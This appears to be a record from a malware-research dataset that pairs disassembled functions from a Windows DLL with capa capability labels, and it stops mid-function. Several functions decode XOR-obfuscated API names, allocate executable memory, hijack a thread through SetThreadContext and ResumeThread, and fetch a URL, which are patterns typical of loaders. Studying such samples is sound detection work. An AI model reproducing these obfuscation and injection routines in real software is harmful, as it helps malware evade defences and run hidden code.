joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003ac0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1002d33c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x1002eb30]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0x14]
test eax, eax
jne 0x10003b66
movaps xmm0, xmmword [0x10023590]
xor ecx, ecx
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0x4c4f446d
mov word [ebp - 0x1c], 0x5c56
mov byte [ebp - 0x1a], al
lea eax, [ecx + 0x10]
xor byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 0x16
jb 0x10003b02
mov eax, dword [0x1002eb44]
mov byte [ebp - 0x1a], 0
test eax, eax
jne 0x10003b56
mov dword [ebp - 0x18], 0x7f76657e
xor ecx, ecx
mov dword [ebp - 0x14], 0x7b723b78
mov word [ebp - 0x10], 0x74
lea eax, [ecx + 0x10]
xor byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 9
jb 0x10003b32
lea eax, [ebp - 0x18]
mov byte [ebp - 0xf], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x1002eb44], eax
test eax, eax
je 0x10003b61
lea ecx, [ebp - 0x30]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1002eb30], eax
mov ecx, dword [ebp + 0xc]
push edi
push dword [ebp + 0x10]
mov dword [ebp - 8], ecx
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0xc]
mov dword [ebp - 0xc], esi
push ecx
push 0xffffffffffffffff
call eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1000b852
mov esp, ebp
pop ebp
ret

Function at 0x10003b90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x1002d33c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword fs:[0x2c]
xorps xmm0, xmm0
mov ecx, dword [0x1002ed68]
push esi
mov esi, dword [ebp + 8]
push edi
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x1002eb2c]
mov edi, dword [ebp + 0xc]
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0xc], 0
movq qword [ebp - 0x14], xmm0
mov dword [ebp - 8], 0
cmp eax, dword [ecx + 4]
jg 0x10003c39
mov eax, dword [0x1002eb28]
test eax, eax
je 0x10003c1f
lea ecx, [ebp - 8]
push ecx
push 0x1c
lea ecx, [ebp - 0x24]
push ecx
push 0
push edi
push esi
call eax
test eax, eax
jne 0x10003c27
cmp dword [ebp - 0x14], 0x1000
jne 0x10003c27
cmp dword [ebp - 0xc], 0x40000
jne 0x10003c27
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000b852
mov esp, ebp
pop ebp
ret
push 0x7f
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [ebp - 4]
xor al, al
pop edi
xor ecx, ebp
pop esi
call fcn.1000b852
mov esp, ebp
pop ebp
ret
push 0x1002eb2c
call fcn.1000b7ee
add esp, 4
cmp dword [0x1002eb2c], 0xffffffff
jne 0x10003bde
movaps xmm0, xmmword [0x100235c0]
xor ecx, ecx
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x2c], 0x5a504e4d
mov byte [ebp - 0x28], 0
jmp 0x10003c70
lea eax, [ecx + 0x10]
xor byte [ebp + ecx - 0x3c], al
inc ecx
cmp ecx, 0x14
jb 0x10003c70
lea eax, [ebp - 0x3c]
mov byte [ebp - 0x28], 0
push eax
push dword [0x1002e2f8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x1002eb2c
mov dword [0x1002eb28], eax
call fcn.1000b79d
add esp, 4
jmp 0x10003bde
Function at 0x10003cb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x40
push 0x3000
push dword [ebp + 0x10]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x10003cd1
xor al, al
pop esi
pop ebp
ret
push ebx
push esi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10005bc0
add esp, 0x14
mov bl, al
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov al, bl
pop ebx
pop esi
pop ebp
ret
Function at 0x10005140
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x1002d33c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2e4], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x2e0], eax
xor eax, eax
mov dword [ebp - 0x2dc], 0x7f76657e
mov word [ebp - 0x2d8], 0x78
nop word [eax + eax]
lea ecx, [eax + 0x10]
xor byte [ebp + eax - 0x2dc], cl
inc eax
cmp eax, 5
jb 0x10005180
push ebx
push esi
push edi
lea eax, [ebp - 0x2dc]
mov byte [ebp - 0x2d7], 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor edi, edi
push edi
call fcn.10011bfa
push eax
call fcn.10010550
add esp, 8
lea ebx, [edi + 8]
nop dword [eax + eax]
call fcn.1001052f
movzx esi, al
call fcn.1001052f
movzx eax, al
mov ecx, ebx
or eax, esi
shl eax, cl
or edi, eax
call fcn.1001052f
mov ecx, ebx
movzx eax, al
shl eax, cl
add ebx, 8
or edi, eax
cmp ebx, 0x20
jl 0x100051c0
cmp edi, 0x7fffffff
jbe 0x1000520b
lea eax, [edi - 0x80000000]
shr eax, 0xc
inc eax
sub edi, 0x1000
sub eax, 1
jne 0x10005200
push 0
push 0x40
push 0x3e8
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
movaps xmm0, xmmword [0x10023560]
xor ecx, ecx
mov dword [ebp - 0x2d4], 0
movups xmmword [ebp - 0x2f8], xmm0
mov dword [ebp - 0x2e8], 0x464045
nop
lea eax, [ecx + 0x10]
xor byte [ebp + ecx - 0x2f8], al
inc ecx
cmp ecx, 0x13
jb 0x10005240
mov byte [ebp - 0x2e5], 0
xor ecx, ecx
mov dword [ebp - 0x2dc], 0x7f76657e
mov word [ebp - 0x2d8], 0x78
nop dword [eax]
lea eax, [ecx + 0x10]
xor byte [ebp + ecx - 0x2dc], al
inc ecx
cmp ecx, 5
jb 0x10005270
lea eax, [ebp - 0x2f8]
mov byte [ebp - 0x2d7], 0
push eax
lea eax, [ebp - 0x2dc]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
mov esi, eax
lea eax, [ebp - 0x2d4]
push eax
mov eax, dword [ebp - 0x2e0]
push dword [eax]
push edi
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x2d0], 0x10003
push eax
push dword [ebp - 0x2d4]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [ebp - 0x2e4]
mov dword [ebp - 0x220], eax
lea eax, [ebp - 0x2d0]
push eax
push dword [ebp - 0x2d4]
mov dword [ebp - 0x2d0], 0x10003
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x2d4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000b852
mov esp, ebp
pop ebp
ret
Function at 0x10005330
Capabilities:
Create http request
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1002d33c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], 0x7a7e7046
xor ecx, ecx
mov dword [ebp - 0x14], 0x5b444070
mov byte [ebp - 0x10], 0
lea eax, [ecx + 0x10]
xor byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 8
jb 0x10005354
push esi
push edi
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x18]
mov byte [ebp - 0x10], 0
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
test edi, edi
je 0x100053e9
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
push ebx
cmovae ecx, dword [ebp + 8]
push 0
push 0x80000000
push 0
push 0
push ecx
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
test ebx, ebx
je 0x100053dc
push 0
lea eax, [ebp - 8]
mov dword [ebp - 0xc], 0
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 8], 4
push eax
push 0x20000013
push ebx
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
mov esi, dword [ebp - 0xc]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop ebx
jmp 0x100053ec
mov esi, dword [ebp - 8]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop ebx
jmp 0x100053ec
mov esi, dword [ebp - 8]
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x1000541c
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10005412
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000542e
push ecx
push edx
call fcn.1000b78a
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.1000b852
mov esp, ebp
pop ebp
ret
call fcn.1001037f
int3
Function at 0x10005440
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1002d33c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [0x1002ed68]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword fs:[0x2c]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 8], 0
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x1002eb24]
cmp eax, dword [ecx + 4]
jg 0x100054d6
mov eax, dword [0x1002eb20]
test eax, eax
je 0x100054bd
lea ecx, [ebp - 8]
push ecx
push dword [ebp + 0x14]
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 0x10]
push ecx
push esi
call eax
cmp eax, 0xc0000045
je 0x100054ac
cmp eax, 0xc000004e
jne 0x100054c5
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000b852
mov esp, ebp
pop ebp
ret
push 0x7f
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [ebp - 4]
xor al, al
xor ecx, ebp
pop esi
call fcn.1000b852
mov esp, ebp
pop ebp
ret
push 0x1002eb24
call fcn.1000b7ee
add esp, 4
cmp dword [0x1002eb24], 0xffffffff
jne 0x10005483
movaps xmm0, xmmword [0x10023590]
xor ecx, ecx
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x4c4f446d
mov word [ebp - 0x14], 0x5c56
mov byte [ebp - 0x12], 0
jmp 0x10005510
lea eax, [ecx + 0x10]
xor byte [ebp + ecx - 0x28], al
inc ecx
cmp ecx, 0x16
jb 0x10005510
lea eax, [ebp - 0x28]
mov byte [ebp - 0x12], 0
push eax
push dword [0x1002e2f8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x1002eb24
mov dword [0x1002eb20], eax
call fcn.1000b79d
add esp, 4
jmp 0x10005483
Function at 0x100068f0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10022c5d
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x1002d33c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 8
mov dword [esi + 0x30], 0
mov dword [esi + 8], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0x201
mov dword [esi + 0x18], 6
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0xc], 0
call fcn.1000b75a
mov edi, eax
add esp, 4
test edi, edi
je 0x10006994
xorps xmm0, xmm0
movq qword [edi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.1000ae1a
add esp, 4
mov dword [edi + 4], eax
jmp 0x10006996
xor edi, edi
mov eax, dword [ebp + 8]
mov dword [esi + 0x30], edi
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], 0
mov ecx, dword [edi + 4]
mov dword [ebp - 0x10], ecx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 1
push eax
call fcn.10001690
add esp, 4
mov ecx, eax
mov edx, dword [eax]
push 0x20
mov eax, dword [edx + 0x20]
call eax
mov ecx, dword [ebp - 0x10]
mov bl, al
mov dword [ebp - 4], 0xffffffff
test ecx, ecx
je 0x100069f0
mov edx, dword [ecx]
call dword [edx + 8]
test eax, eax
je 0x100069f0
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
cmp dword [esi + 0x38], 0
mov byte [esi + 0x40], bl
jne 0x10006a0c
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x10]
and eax, 0x13
or eax, 4
mov dword [esi + 0xc], eax
and ecx, eax
jne 0x10006a2f
cmp byte [ebp + 0xc], 0
je 0x10006a1b
push esi
call fcn.1000b2af
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
test cl, 4
je 0x10006a3b
mov esi, str.ios_base::badbit_set
jmp 0x10006a4b
test cl, 2
mov esi, str.ios_base::failbit_set
mov eax, str.ios_base::eofbit_set
cmove esi, eax
lea eax, [ebp - 0x14]
push 1
push eax
call fcn.10006a80
add esp, 8
lea ecx, [ebp - 0x28]
push eax
push esi
call fcn.10001f00
push 0x1002b5e0
lea eax, [ebp - 0x28]
push eax
call fcn.1000c8dc
int3
Function at 0x1000a240
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], edi
test eax, eax
jg 0x1000a26c
jl 0x1000a260
test ecx, ecx
jne 0x1000a26c
pop edi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
push esi
je 0x1000a31e
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
nop dword [eax]
mov ecx, ebx
call fcn.10005640
mov esi, eax
mov eax, edx
mov dword [ebp - 0xc], eax
test eax, eax
jl 0x1000a2d3
jg 0x1000a298
test esi, esi
je 0x1000a2d3
mov ecx, dword [ebp - 4]
cmp ecx, eax
jg 0x1000a2ad
mov eax, dword [ebp - 8]
jl 0x1000a2a8
cmp eax, esi
jae 0x1000a2ad
mov esi, eax
mov dword [ebp - 0xc], ecx
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push edi
call fcn.1000cea0
mov eax, dword [ebx + 0x2c]
add esp, 0xc
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
sub ecx, esi
sbb edx, dword [ebp - 0xc]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x1000a2f2
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov edx, dword [ebp - 4]
cmp eax, 0xffffffff
je 0x1000a308
mov ecx, dword [ebp - 8]
mov esi, 1
add ecx, 0xffffffff
mov byte [edi], al
adc edx, 0xffffffff
add edi, esi
mov dword [ebp - 4], edx
mov dword [ebp - 8], ecx
test edx, edx
jg 0x1000a280
jl 0x1000a308
test ecx, ecx
jne 0x1000a280
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp + 0x10]
pop esi
sbb ecx, edx
pop edi
mov edx, ecx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
lea esi, [ebx + 0x2c]
mov edi, ecx
mov edx, dword [eax]
test edx, edx
je 0x1000a360
mov eax, dword [esi]
mov eax, dword [eax]
test eax, eax
je 0x1000a360
mov edi, dword [ebp - 4]
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push edx
push edi
call fcn.1000cea0
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [ebp - 4], edi
add esp, 0xc
mov edi, dword [ebp + 0xc]
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
lea esi, [ebx + 0x2c]
cmp dword [ebx + 0x4c], 0
je 0x1000a3c8
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x1000a386
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi]
mov dword [eax], edx
mov esi, dword [ebp - 4]
cmp edi, 0xfff
jbe 0x1000a3b3
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call fcn.100110c9
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x1000a3c8
cmp edi, eax
ja 0x1000a391
test edi, edi
je 0x1000a3c8
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.100110c9
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop esi
pop edi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10016660
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10026630
push 0x10026628
push str.FlsAlloc
push 0x1e
call fcn.1001652a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10016694
push dword [ebp + 8]
mov ecx, esi
call dword [0x100231d0]
call esi
jmp 0x1001669a
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x100166de
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10026640
push 0x10026638
push str.FlsGetValue
push 0x20
call fcn.1001652a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10016715
push dword [ebp + 8]
mov ecx, esi
call dword [0x100231d0]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x10017dbf
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10017c30

Function at 0x100181b9
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.1000c660
mov eax, dword [0x1002d33c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.10016c93
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x100181fb
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x10018357
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.100226a0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x1002f518]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.100191b0
mov ecx, dword [esi*4 + 0x1002f518]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x10018350
cmp eax, dword [edi + ecx + 0x24]
jne 0x10018350
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10018350
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.100191b0
add esp, 0x14
test edx, edx
jl 0x10018350
jg 0x100182c6
test eax, eax
jb 0x10018350
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x10018350
jl 0x100182e0
cmp dword [ebp - 0x1008], eax
ja 0x10018350
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x100182fe
test ebx, ebx
je 0x10018337
cmp ecx, edi
jae 0x10018337
mov al, byte [ecx]
cmp al, 0xd
jne 0x10018318
lea eax, [edi - 1]
cmp ecx, eax
jae 0x10018324
cmp byte [ecx + 1], 0xa
jne 0x10018324
inc ecx
jmp 0x10018324
movzx eax, al
movsx eax, byte [eax + 0x1002d5a8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x100182fe
cmp edx, ebx
jne 0x100182fe
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x10018355
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.1000b852
leave
ret
Function at 0x1001864e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x1002f518]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x1001868e
cmp byte [ebx], 0xa
jne 0x1001868e
or byte [eax + edi + 0x28], 4
jmp 0x10018693
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x10018791
mov al, byte [edx]
cmp al, 0x1a
je 0x10018773
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x100186c2
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x100186e7
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x100186f1
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x100186a4
jmp 0x10018791
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1001876e
cmp dword [ebp - 0xc], 0
je 0x1001876e
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x1002f518]
test byte [eax + edi + 0x28], 0x48
je 0x10018748
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x10018733
mov byte [esi], dl
jmp 0x10018744
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x1002f518]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x10018791
cmp byte [ebp - 1], 0xa
jne 0x10018757
cmp esi, ebx
jne 0x10018757
mov byte [esi], 0xa
jmp 0x10018790
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.100191ce
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x10018791
mov byte [esi], 0xd
jmp 0x10018790
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x1002f518]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x1001878d
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x10018791
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1001879a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x1002f518]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x100187dd
cmp word [esi], dx
jne 0x100187dd
or byte [edi + eax + 0x28], 4
jmp 0x100187e2
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x10018935
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x10018915
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x10018824
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x1001885a
cmp eax, edx
jae 0x10018866
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x100187fc
jmp 0x10018935
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10018911
cmp dword [ebp - 0x14], 0
je 0x10018911
mov eax, dword [ebx*4 + 0x1002f518]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x100188e9
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x100188b2
mov word [esi], cx
jmp 0x100188e5
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x1002f518]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x1002f518]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x1002f518]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x10018935
pop ebx
cmp word [ebp - 4], bx
jne 0x100188fa
cmp esi, dword [ebp + 0xc]
jne 0x100188fa
mov word [esi], bx
jmp 0x10018932
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.100191ce
add esp, 0x10
cmp word [ebp - 4], bx
je 0x10018935
push 0xd
jmp 0x1001892e
mov ecx, dword [ebx*4 + 0x1002f518]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x1001892c
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x10018935
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1001c645
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1001c6e2
push ebx
push esi
call fcn.1001c60e
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1001b3a5
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1001c68f
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001c6e1
push edi
push eax
call fcn.100193ad
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1001c6af
call fcn.100161f2
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001c6e0
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1001b3a5
add esp, 0x20
